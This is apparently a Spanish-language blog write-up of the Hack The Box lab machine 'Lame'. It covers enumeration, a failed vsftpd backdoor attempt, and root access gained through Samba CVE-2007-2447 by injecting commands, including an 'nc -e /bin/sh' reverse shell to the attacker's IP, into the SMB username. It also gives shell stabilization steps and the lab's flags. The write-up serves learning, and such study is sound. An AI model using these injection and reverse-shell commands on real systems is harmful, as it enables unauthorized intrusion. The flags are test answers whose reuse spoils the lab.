Emtix

Lame - HTB

Publicado el 30 de septiembre de 2025

Lame - HTB

Datos Generales de la máquina

Nombre de la máquina: Lame

IP: 10.129.186.199

Dificultad: Easy

Autor: ch4p

Fecha de publicación: 14 Mar, 2017

Fecha de inicio de solución: 18 Feb, 2025

Fecha de término de la solución: 18 Feb, 2025


Recursos útiles para la solución

Guía - 0xdf

SMB - Enumeration Cheatsheet

Samba - Security Report - CVE-2007-2447: Remote Command Injection Vulnerability


Notas


Recopilación de información

![[image.png]]

OSINT

No aplica


Enumeración de Infraestructura

nmap -sn -PE 10.129.186.199

![[Pasted image 20250218080500.png]]

![[Pasted image 20250218080635.png]]

Debido al ttl asumimos que la máquina es Linux.


Enumeración de Servicios

Nmap

Primer escaneo TCP:

sudo nmap -sS -p- --min-rate 10000 -oA scans/alltcp 10.129.186.199

![[Pasted image 20250218084550.png]]

Primer escaneo UDP:

sudo nmap -sU -p- --min-rate 10000 -oA scans/alludp 10.129.186.199

![[Pasted image 20250218084708.png]]

Escaneo específico a puertos TCP abiertos:

sudo nmap -p 21,22,139,445,3632 -sV -sC -oA scans/tcpscripts 10.129.186.199

![[Pasted image 20250218085014.png]]

![[Pasted image 20250218085035.png]]


FTP (21)

Anonymous Login Es posible ingresar al servicio ftpcon el usuario anonymous, no obstante el directorio al que accedemos está vacío:

![[Pasted image 20250218085603.png]]

Búsqueda de vulns conocidas para la versión vsftpd 2.3.4

searchsploit vsftpd 2.3.4

![[Pasted image 20250218085740.png]]


SSH (22)

Versión muy vieja Parece ser que la versión de ssh es muy vieja, podemos buscar su año de lanzamiento aquí.

![[Pasted image 20250218090139.png]]

Búsqueda de vulns conocidas para la versión openssh 4.7p1

searchsploit openssh 4.7p1

![[Pasted image 20250218090310.png]]


SMB - Samba (139 / 445)

Enumeración de Shares con smbmap

smbmap -H 10.129.186.199

![[Pasted image 20250218091124.png]]

Enumeración de Shares con smbclient

smbclient -N -L 10.129.186.199

![[Pasted image 20250218091333.png]]

Enumeración de Shares con netexec

netexec smb 10.129.186.199 -u '' -p '' --shares

![[Pasted image 20250218091705.png]]

Conexión a Share tmp con smbclient

smbclient -N //10.129.186.199/tmp

![[Pasted image 20250218092102.png]]

No parece haber nada interesante.

Búsqueda de vulns conocidas para la versión samba 3.0

searchsploit samba 3.0

![[Pasted image 20250218092322.png]]

El exploit Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) parece que podrá ser útil.


Enumeración de Hosts

No aplica


Análisis de Vulnerabilidades

![[image 1.png]]

Análisis descriptivo / Investigación de vulnerabilidades

Análisis de CVE-2011-2523 (vsftpd 2.3.4 - Backdoor Command Execution)

El artículo sobre esta vulnerabilidad de NVD, nos dice que esta versión contiene un backdoor que abre una shell en el puerto 6200/tcp.

Inspección de Exploit con searchsploit

searchsploit -m unix/remote/49757.py

![[Pasted image 20250218102432.png]]

![[Pasted image 20250218102809.png]]

Podemos ver que el exploit intenta establecer conexión con el puerto 21, espera a que aparezca el banner “vsFTPd 2.3.4”, posteriormente escribe el valor USER nergal:), espera a que aparezca el texto “password”, ahí escribe el valor PASS pass, posteriormente se intenta conectar al puerto 6200 para establecer conexión con el Backdoor.

Análisis de CVE-2007-2447 - (Remote Command Injection Vulnerability)

La vulnerabilidad CVE-2007-2447 en Samba permite la ejecución remota de comandos arbitrarios mediante la inyección de metacaracteres en funciones MS-RPC. Esto afecta la gestión de usuarios, impresoras y recursos compartidos, especialmente si la opción username map script está habilitada en smb.conf.

Inspección de Exploit con searchsploit

searchsploit -m unix/remote/16320.rb

![[Pasted image 20250218104642.png]]

![[Pasted image 20250218105740.png]] ![[Pasted image 20250218105832.png]] ![[Pasted image 20250218105813.png]]

Vemos que el contenido relevante se encuentra en la función exploit, donde inyecta un comando en el username de la siguiente manera:

username = "/=`nohup " + payload.encoded + "`"

Por lo que podríamos intentar conectarnos con smbclient y hacer la inyección de comandos en el usuario.


Explotación

![[image-2.png]]

Explotación de CVE-2011-2523 (vsftpd 2.3.4 - Backdoor Command Execution)

Podemos replicar el comportamiento del script con nc

  1. Conexión al puerto 21/tcp
nc 10.129.186.199 21

![[Pasted image 20250218103647.png]] 2. Dar valor de usuario

USER nergal:)

![[Pasted image 20250218103828.png]]

  1. Dar valor de password
PASS pass

![[Pasted image 20250218103904.png]]

  1. Conectar al puerto del backdoor
nc 10.129.186.199 6200

![[Pasted image 20250218104239.png]]

No está funcionando el backdoor.


Explotación de CVE-2007-2447 - (Remote Command Injection Vulnerability)

Inyectar comando de prueba

Intentaremos mandar el output del comando whoami con nc al puerto 443 de nuestra máquina atacante.

Puerto en escucha en máquina atacante

nc -lvnp 443

![[Pasted image 20250218113335.png]]

Intento de inyección

smbclient //10.129.186.199/tmp -U "/=`nohup whoami | nc 10.10.14.102 443`"

![[Pasted image 20250218113428.png]]

¿Qué escuchó el puerto? ![[Pasted image 20250218113420.png]]

El resultado no es el esperado, porque imprimió mi nombre de usuario, el interprete está ejecutando nohup whoami | nc 10.10.14.102 443 antes de enviar la conexión, intentemos lo mismo pero cambiando " por `

Puerto en escucha en máquina atacante

nc -lvnp 443

![[Pasted image 20250218113335.png]]

Intento de inyección

smbclient //10.129.186.199/tmp -U '/=`nohup whoami | nc 10.10.14.102 443`'

![[Pasted image 20250218114148.png]]

¿Qué escuchó el puerto?

![[Pasted image 20250218114156.png]]

Parece ser que está funcionando, haremos otra inyección de prueba mandando un ping de la máquina víctima a la atacante.

Escuchamos el tráfico ICMP en la máquina atacante

sudo tcpdump -i tun0 icmp

![[Pasted image 20250218114434.png]]

Inyectamos el ping en la máquina víctima

smbclient //10.129.186.199/tmp -U '/=`nohup ping -c1 10.10.14.102`'

![[Pasted image 20250218114511.png]]

Recibimos el ping

![[Pasted image 20250218114419.png]]


Inyectar shell inversa

Con nuestro primer comando de prueba nos percatamos que la máquina víctima tiene instalada la herramienta nc, por lo que podemos usar una shell inversa que la use.

Comando de acceso al sistema

smbclient //10.129.186.199/tmp -U '/=`nohup nc -e /bin/sh 10.10.14.102 443`'

Escuchamos en nuestra máquina atacante

nc -lvnp 443

![[Pasted image 20250218115124.png]]

Ejecutamos el comando con la shell inversa

smbclient //10.129.186.199/tmp -U '/=`nohup nc -e /bin/sh 10.10.14.102 443`'

![[Pasted image 20250218115420.png]]

Vemos que el comando se está ejecutando en mayusculas por alguna razón por lo que no está funcionando nuestra shell, de modo que tendremos que buscar otra shell inversa que funcione o buscar una alternativa que nos permita ingresar el comando en minúsculas.

Alternativa

Podemos ingresar al servicio smb como el usuario invitado y ya estando en el sistema podemos inyectar el comando mediante la opción logon.

Conexión como usuario invitado

smbclient //10.129.186.199/tmp -N

Cambiar de usuario con logon y hacer la inyección

logon "/=`nohup nc -e /bin/sh 10.10.14.102 443`"

![[Pasted image 20250218120507.png]]

Puerto en escucha

![[Pasted image 20250218120533.png]]

Podemos ver que se pudieron ejecutar los comandos ls y whoami y se obtuvo una shell como el usuario root


Post Explotación / Pillaging

![[image 2.png]]

Estabilización de la Shell

1️.- Verificar si Python está disponible en el sistema

Algunas técnicas de estabilización requieren Python. Para comprobar si está instalado, ejecuta:

which python

Si devuelve una ruta como /usr/bin/python, significa que está disponible.

![[Pasted image 20250218120950.png]]


2️.- Convertir la shell en una TTY interactiva

Si python está disponible, podemos generar una terminal más funcional con:

python -c 'import pty; pty.spawn("/bin/bash")'

Esto nos permite usar comandos como clear, autocompletar con Tab y moverse con las flechas.

![[Pasted image 20250218121232.png]]


3️.- Configurar el tipo de terminal

Definir TERM=xterm ayuda a que la shell reconozca correctamente los colores y ciertos comandos.

export TERM=xterm

![[Pasted image 20250218121311.png]]


4️.- Ajustar la terminal para mejorar el control de línea

Ejecutar este comando desactiva el “echo” y pone la terminal en modo crudo para que los caracteres se transmitan correctamente.

stty raw -echo

![[Pasted image 20250218121405.png]]


5️.- Ajustar el tamaño de la terminal desde la máquina atacante

En la máquina atacante, obtén el tamaño de tu terminal con:

stty size

Esto te devolverá dos valores (filas y columnas), que usaremos en el siguiente paso.

![[Pasted image 20250218121502.png]]


6️.- Aplicar el tamaño correcto de terminal en la máquina víctima

Primero, suspende la shell con CTRL + Z para volver a la terminal de la máquina atacante. Luego, configura el tamaño con los valores obtenidos en el paso anterior:

stty rows 37 cols 117

![[Pasted image 20250218121641.png]]

Después, vuelve a la shell reversa con:

fg

![[Pasted image 20250218121730.png]]

Persistencia

No aplica


Información del Sistema

No aplica


Inspección del Sistema de Archivos

No aplica


Procesos en Ejecución

No aplica


Aplicaciones Instaladas

No aplica


Scripts

No aplica


Usuarios y Grupos

No aplica


Red

No aplica


Jobs Programados

No aplica


Credenciales y Claves

No aplica


Escalada de Privilegios

No aplica


Movimiento Lateral

![[image-2 1.png]]

No aplica


PoC

No aplica


Botín

Hashes

No aplica


Passwords

No aplica


Otros

No aplica


Flags

User: ef5c1b235512cc6890aca33a25132d2d Root: 40162eb1cc6052f2daff5b5fbd625f2d